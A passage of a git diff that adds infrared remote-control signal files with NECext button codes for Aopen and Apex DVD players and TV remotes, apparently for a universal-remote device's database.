+command: 41 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: TV/PVR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: CD/MP3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir new file mode 100644 index 000000000..7b80fad9a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: Timeshift +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: TuneUp +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: Mem +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: TuneDown +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: Scan +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: KEY_MP3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 56 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir new file mode 100644 index 000000000..e4aae178c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apex/DVD Player/4,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: KEY- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 49 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4A 00 00 00 +# +name: P/N +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: PBC_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: VOCAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 56 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir new file mode 100644 index 000000000..2e22d2cd3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: BEGINNING +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: ECHO+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: ECHO- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: KEY_MINUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 49 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4A 00 00 00 +# +name: P/N +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: PBC_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: VOCALASSIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 56 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir new file mode 100644 index 000000000..2ee1c9d02 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: program +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 01 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 03 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 05 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 09 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 0F 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 10 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 11 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 12 00 00 00 +# +name: pbc_off +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 13 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 14 00 00 00 +# +name: a-b_rpt +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 15 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 16 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 17 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 18 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 1B 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 41 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 42 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 43 00 00 00 +# +name: P/N +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 44 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 45 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 46 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 47 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 48 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 49 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4F 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 51 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 52 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 53 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 54 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 55 00 00 00 +# +name: skipforward +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 56 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 57 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 58 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir new file mode 100644 index 000000000..9e3b200ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: pbc +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 01 00 00 00 +# +name: i/p +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 03 00 00 00 +# +name: pause/step +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 05 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 07 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 09 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 0B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 0F 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 10 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 11 00 00 00 +# +name: digest +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 12 00 00 00 +# +name: p/n +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 13 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 14 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 15 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 17 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 18 00 00 00 +# +name: nav/speed +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 1B 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 41 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 42 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 43 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 44 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 45 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 46 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 47 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 48 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 49 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4B 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 4F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 51 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 52 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 53 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 54 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 55 00 00 00 +# +name: skip-forward +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 56 00 00 00 +# +name: skip-back +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 57 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 58 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 EE 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir new file mode 100644 index 000000000..e92134f2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0B 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 40 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 41 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 46 00 00 